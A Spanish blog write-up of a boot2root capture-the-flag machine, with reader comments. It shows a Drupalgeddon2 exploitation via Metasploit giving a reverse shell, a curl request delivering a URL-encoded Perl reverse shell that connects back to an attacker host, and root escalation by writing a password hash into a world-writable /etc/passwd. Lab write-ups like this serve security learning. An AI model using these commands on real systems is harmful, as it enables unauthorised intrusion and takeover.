Solución al reto 25 "born2root"

Despedimos la semana con el writeup del último reto, el 25, que nos regaló _Stuxnet y que ganó Borja Martínez (borjmz) por primera (y única) sangre. Se trataba de una máquina boot2root y, como veréis a continuación, era sencilla pero muy divertida:

Empezamos con el típico escaneo de todos los puertos de la máquina:
# nmap -sS -A -p- 192.168.1.229                                                                                             

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-18 11:44 CEST
Nmap scan report for 192.168.1.229
Host is up (0.00044s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.5p1 Ubuntu 10ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c1:12:f0:96:bc:af:f0:71:87:8a:af:ee:82:a8:1d:4b (RSA)
|   256 97:0d:aa:e7:4b:75:d8:3a:d7:65:3a:c9:d8:93:51:48 (ECDSA)
|_  256 7f:0c:66:c0:b4:56:5e:88:57:14:a1:5b:46:51:c8:bc (EdDSA)
80/tcp   open  http    Apache httpd 2.4.27 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.4.27 (Ubuntu)
|_http-title: Owasp CTF
5355/tcp open  llmnr?
MAC Address: 08:00:27:1C:CF:13 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.44 ms 192.168.1.229

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6135.37 seconds

Los resultados muestran un puerto 80 abierto, así que vamos a ver de que aplicación web se trata:

http://192.168.1.229/

Vale, claramente es un Drupal así que vamos a ver rápidamente de qué versión se trata con Droopescan:
# ./droopescan scan drupal -u http://192.168.1.229/
[+] No themes found.

[+] Possible interesting urls found:
    Default changelog file - http://192.168.1.229/CHANGELOG.txt

[+] Possible version(s):
    7.51
    7.52

[+] No plugins found.

[+] Scan finished (0:00:04.452500 elapsed)

¡Perfecto! Se trata de la versión 7.51 o 7.52, así que probablemente sea vulnerable al RCE de Drupalggedon2. Vamos a comprobarlo con Metasploit:
msf5 > search drupal

Matching Modules
================

   Name                                           Disclosure Date  Rank       Description
   ----                                           ---------------  ----       -----------
   auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Drupal OpenID External Entity Injection
   auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Drupal Views Module Users Enumeration
   exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  Drupal HTTP Parameter Key/Value SQL Injection
   exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Drupal CODER Module Remote Command Execution
   exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Drupal Drupalgeddon 2 Forms API Property Injection
   exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Drupal RESTWS Module Remote PHP Code Execution
   exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  PHP XML-RPC Arbitrary Code Execution


 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        If output should be dumped
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                         yes       The target address
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)


msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.229
rhost => 192.168.1.229
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit


[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Drupal 7.x targeted at http://192.168.1.229/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Sending stage (37775 bytes) to 192.168.1.229
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.229:56868) at 2018-05-18 12:03:21 +0200

meterpreter > getuid
Server username: www-data (33)

¡Bingo! tenemos shell. Vamos a "spawnearla" y a ver si encontramos el fichero user.txt para leer la primera flag:
meterpreter > shell
Process 1431 created.
Channel 0 created.

python3 -c 'import pty; pty.spawn("/bin/sh")'

$ find / -name user.txt -print
....

find: '/run/sudo': Permission denied
find: '/run/postgresql/9.6-main.pg_stat_tmp': Permission denied
find: '/run/lvm': Permission denied
find: '/run/systemd/inaccessible': Permission denied
find: '/run/lock/lvm': Permission denied
/home/hackmen00b/user.txt
find: '/home/hackmen00b/.cache': Permission denied
find: '/etc/polkit-1/localauthority': Permission denied
find: '/etc/ssl/private': Permission denied
$ cat /home/hackmen00b/user.txt
cat /home/hackmen00b/user.txt
8D2A059E6B154EC9215882B82F28CFCB

Fácil y sencillo, para toda la familia xD

Otra opción y la que utilizó Borja es usar el exploit de HansTopo - https://github.com/dreadlocked/Drupalgeddon2, con el que la shell reversa se obtendría de la siguiente manera:
curl 'http://192.168.X.190/sites/default/s.php' -d 'c=perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.X.243%22%3B%24p%3D1337%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B%27%20%3A'

Una vez con la shell interactiva el siguiente paso será escalar privilegios y, para ello, veremos enseguida que el fichero /etc/passwd tiene permisos de escritura:
$ ls -las /etc/passwd
ls -las /etc/passwd
4 -rwxrwxrwx 1 root root 1759 May  8 15:28 /etc/passwd
$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
_apt:x:106:65534::/nonexistent:/bin/false
mysql:x:107:110:MySQL Server,,,:/nonexistent:/bin/false
lxd:x:108:65534::/var/lib/lxd/:/bin/false
uuidd:x:109:114::/run/uuidd:/bin/false
postgres:x:110:115:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
dnsmasq:x:111:65534:dnsmasq,,,:/var/lib/misc:/bin/false
pollinate:x:112:1::/var/cache/pollinate:/bin/false
hackmen00b:x:1000:1000:hackmen00b,,,:/home/hackmen00b:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
$

Para escalar aquí tenemos también varias formas. La que usó Borja fue generar una contraseña para el usuario root: perl -le 'print crypt("nomasimagenessinstego", "aa")', obtener el hash y copiarlo en el campo correspondiente, y luego hacer su y convertirse en root.

Y otra opción sería asignarle una shell al usuario www-data con el que estamos loggeados, hacer 'su' con dicho usuario, ejecutar passwd y luego copiar el mismo hash generado para root:
www-data@hackmen00b:~/html/drupal$ cat /etc/passwd
cat /etc/passwd
root:$6$reKe6zEF$PZ19z7x4uaSCTHqKy8Oma04cvciJV32VcG2PLAQ4N8jVgmteXYAGUZNVsgZhn7L9NT8mWj9g9R.MJA5wk31sF.:0:0:root:/root:/bin/bash
www-data::33:0:www-data:/var/www:/bin/bash
www-data@hackmen00b:~/html/drupal$ su
su
Password: test12345

root@hackmen00b:/var/www/html/drupal# id
id
uid=0(root) gid=0(root) groups=0(root)
root@hackmen00b:/var/www/html/drupal#

root@hackmen00b:/var/www/html/drupal# cat /root/root.txt
cat /root/root.txt
0C9350CD1516EB0A516D604EAC7177FC

Y nada más, dar la enhorabuena a Borja (te debo la camiseta y el welcome pack) y agradecer como siempre a César por compartir sus retos y todos aquellos que lo habéis intentado.

¡Nos "vemos" en el siguiente!

5 comentarios :

  1. Soy tonto del culo! Anda que no le di vueltas al /etc/passwd!
    Creé un usuario Nuevo con uid y gid a 0 y claro, se me metió en la cabeza que como no podia escribir en shadow tenía que haber otro truco. Busqué tareas de cron, busqué servicios a la escucha en 127.0.0.1, crackeé la contraseña del admin de Drupal por si se reutilizaba... Y mira cómo era!
    Soy tonto. Gran reto!

    ResponderEliminar
    Respuestas
    1. Tonto es el que no lo intenta. Lo importante es ir aprendiendo de estás cosillas. Muchas gracias!

      Eliminar
  2. vaya, que tonto por no haber pensado en eso.
    aun asi me gusto el reto, genial! muchas gracias.

    ResponderEliminar
  3. Gran write up. Yo tiré del exploit usando curl y socat para una TTY interactiva

    ResponderEliminar